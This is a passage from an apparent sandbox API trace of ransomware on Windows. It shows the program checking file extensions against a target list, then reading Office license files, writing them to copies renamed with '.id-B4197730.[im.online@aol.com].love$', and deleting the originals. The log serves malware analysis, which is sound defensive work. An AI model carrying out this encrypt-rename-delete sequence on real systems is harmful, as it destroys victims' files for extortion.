Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0258.651] lstrlenW (lpString=".doc") returned 4 [0258.651] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.651] lstrlenW (lpString=".docx") returned 5 [0258.651] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.651] lstrlenW (lpString=".pdf") returned 4 [0258.651] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.651] lstrlenW (lpString=".xls") returned 4 [0258.651] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.651] lstrlenW (lpString=".xlsx") returned 5 [0258.651] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.651] lstrlenW (lpString=".ppt") returned 4 [0258.651] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0258.651] lstrlenW (lpString=".zip") returned 4 [0258.651] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.651] lstrlenW (lpString=".rar") returned 4 [0258.651] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.651] lstrlenW (lpString=".bz2") returned 4 [0258.651] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.651] lstrlenW (lpString=".7z") returned 3 [0258.651] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0258.651] lstrlenW (lpString=".dbf") returned 4 [0258.651] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0258.652] lstrlenW (lpString=".1cd") returned 4 [0258.652] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0258.652] lstrlenW (lpString=".jpg") returned 4 [0258.652] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0258.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0258.652] lstrlenW (lpString=".doc") returned 4 [0258.652] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.652] lstrlenW (lpString=".docx") returned 5 [0258.652] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.652] lstrlenW (lpString=".pdf") returned 4 [0258.652] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.652] lstrlenW (lpString=".xls") returned 4 [0258.652] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.652] lstrlenW (lpString=".xlsx") returned 5 [0258.652] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.652] lstrlenW (lpString=".ppt") returned 4 [0258.652] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0258.652] lstrlenW (lpString=".zip") returned 4 [0258.652] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.652] lstrlenW (lpString=".rar") returned 4 [0258.652] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.652] lstrlenW (lpString=".bz2") returned 4 [0258.652] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.652] lstrlenW (lpString=".7z") returned 3 [0258.652] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0258.653] lstrlenW (lpString=".dbf") returned 4 [0258.653] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0258.653] lstrlenW (lpString=".1cd") returned 4 [0258.653] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0258.653] lstrlenW (lpString=".jpg") returned 4 [0258.653] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.653] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0258.653] lstrlenW (lpString="ExcelR_Trial-ppd.xrm-ms") returned 23 [0258.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0258.654] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=20967) returned 1 [0258.654] CloseHandle (hObject=0x548) returned 1 [0258.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 0x220 [0258.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0258.655] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.655] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0258.657] GetLastError () returned 0x0 [0258.657] ReadFile (in: hFile=0x548, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x51e7, lpOverlapped=0x0) returned 1 [0258.673] WriteFile (in: hFile=0x53c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x51f0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x51f0, lpOverlapped=0x0) returned 1 [0258.676] ReadFile (in: hFile=0x548, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0258.676] WriteFile (in: hFile=0x53c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x102, lpOverlapped=0x0) returned 1 [0258.677] SetEndOfFile (hFile=0x53c) returned 1 [0258.677] CloseHandle (hObject=0x53c) returned 1 [0258.677] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.677] SetEndOfFile (hFile=0x548) returned 1 [0258.727] CloseHandle (hObject=0x548) returned 1 [0258.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 1 [0258.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0258.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0258.730] lstrlenW (lpString=".doc") returned 4 [0258.730] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.730] lstrlenW (lpString=".docx") returned 5 [0258.730] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.730] lstrlenW (lpString=".pdf") returned 4 [0258.730] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.730] lstrlenW (lpString=".xls") returned 4 [0258.730] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.730] lstrlenW (lpString=".xlsx") returned 5 [0258.730] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.730] lstrlenW (lpString=".ppt") returned 4 [0258.730] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0258.730] lstrlenW (lpString=".zip") returned 4 [0258.730] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.730] lstrlenW (lpString=".rar") returned 4 [0258.730] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.730] lstrlenW (lpString=".bz2") returned 4 [0258.730] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.731] lstrlenW (lpString=".7z") returned 3 [0258.731] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0258.731] lstrlenW (lpString=".dbf") returned 4 [0258.731] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0258.731] lstrlenW (lpString=".1cd") returned 4 [0258.731] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0258.731] lstrlenW (lpString=".jpg") returned 4 [0258.731] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0258.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0258.731] lstrlenW (lpString=".doc") returned 4 [0258.731] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.731] lstrlenW (lpString=".docx") returned 5 [0258.731] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.731] lstrlenW (lpString=".pdf") returned 4 [0258.731] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.731] lstrlenW (lpString=".xls") returned 4 [0258.823] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.823] lstrlenW (lpString=".xlsx") returned 5 [0258.823] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.823] lstrlenW (lpString=".ppt") returned 4 [0258.823] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0258.823] lstrlenW (lpString=".zip") returned 4 [0258.823] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.823] lstrlenW (lpString=".rar") returned 4 [0258.823] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0258.823] lstrlenW (lpString=".bz2") returned 4 [0258.823] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0258.823] lstrlenW (lpString=".7z") returned 3 [0258.823] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0258.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0258.823] lstrlenW (lpString=".dbf") returned 4 [0258.823] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0258.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0258.823] lstrlenW (lpString=".1cd") returned 4 [0258.823] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0258.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73 [0258.823] lstrlenW (lpString=".jpg") returned 4 [0258.823] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0258.824] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0258.824] lstrlenW (lpString="ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 32 [0258.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0258.825] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11609) returned 1 [0258.825] CloseHandle (hObject=0x55c) returned 1 [0258.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0258.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0258.826] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.826] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0258.828] GetLastError () returned 0x0 [0258.828] ReadFile (in: hFile=0x55c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d59, lpOverlapped=0x0) returned 1 [0258.946] WriteFile (in: hFile=0x560, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0258.948] ReadFile (in: hFile=0x55c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0258.948] WriteFile (in: hFile=0x560, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x114, lpOverlapped=0x0) returned 1 [0258.948] SetEndOfFile (hFile=0x560) returned 1 [0258.948] CloseHandle (hObject=0x560) returned 1 [0258.949] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.949] SetEndOfFile (hFile=0x55c) returned 1 [0259.400] CloseHandle (hObject=0x55c) returned 1 [0259.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0259.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 1 [0259.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0259.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0259.403] lstrlenW (lpString=".doc") returned 4 [0259.403] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0259.403] lstrlenW (lpString=".docx") returned 5 [0259.403] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0259.403] lstrlenW (lpString=".pdf") returned 4 [0259.403] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0259.403] lstrlenW (lpString=".xls") returned 4 [0259.403] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0259.403] lstrlenW (lpString=".xlsx") returned 5 [0259.403] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0259.403] lstrlenW (lpString=".ppt") returned 4 [0259.403] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0259.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0259.403] lstrlenW (lpString=".zip") returned 4 [0259.403] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0259.403] lstrlenW (lpString=".rar") returned 4 [0259.403] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0259.403] lstrlenW (lpString=".bz2") returned 4 [0259.403] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0259.403] lstrlenW (lpString=".7z") returned 3 [0259.403] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0259.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0259.404] lstrlenW (lpString=".dbf") returned 4 [0259.404] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0259.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0259.404] lstrlenW (lpString=".1cd") returned 4 [0259.404] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0259.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0259.404] lstrlenW (lpString=".jpg") returned 4 [0259.404] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0259.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0259.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0259.404] lstrlenW (lpString=".doc") returned 4 [0259.404] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0259.404] lstrlenW (lpString=".docx") returned 5 [0259.404] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0259.404] lstrlenW (lpString=".pdf") returned 4 [0259.404] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0259.404] lstrlenW (lpString=".xls") returned 4 [0259.404] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0259.404] lstrlenW (lpString=".xlsx") returned 5 [0259.404] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0259.404] lstrlenW (lpString=".ppt") returned 4 [0259.405] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0259.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0259.405] lstrlenW (lpString=".zip") returned 4 [0259.405] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0259.405] lstrlenW (lpString=".rar") returned 4 [0259.405] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0259.405] lstrlenW (lpString=".bz2") returned 4 [0259.405] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0259.405] lstrlenW (lpString=".7z") returned 3 [0259.405] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0259.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0259.405] lstrlenW (lpString=".dbf") returned 4 [0259.405] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0259.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0259.405] lstrlenW (lpString=".1cd") returned 4 [0259.405] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0259.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0259.405] lstrlenW (lpString=".jpg") returned 4 [0259.405] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0259.406] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0259.406] lstrlenW (lpString="ExcelVL_KMS_Client-ul.xrm-ms") returned 28 [0259.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0259.407] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=9601) returned 1 [0259.407] CloseHandle (hObject=0x55c) returned 1 [0259.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 0x220 [0259.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0259.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0259.408] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.408] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0259.410] GetLastError () returned 0x0 [0259.410] ReadFile (in: hFile=0x55c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2581, lpOverlapped=0x0) returned 1 [0259.468] WriteFile (in: hFile=0x560, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2590, lpOverlapped=0x0) returned 1 [0259.471] ReadFile (in: hFile=0x55c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0259.471] WriteFile (in: hFile=0x560, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x10c, lpOverlapped=0x0) returned 1 [0259.471] SetEndOfFile (hFile=0x560) returned 1 [0259.486] CloseHandle (hObject=0x560) returned 1 [0259.492] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0259.492] SetEndOfFile (hFile=0x55c) returned 1 [0259.631] CloseHandle (hObject=0x55c) returned 1 [0259.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: 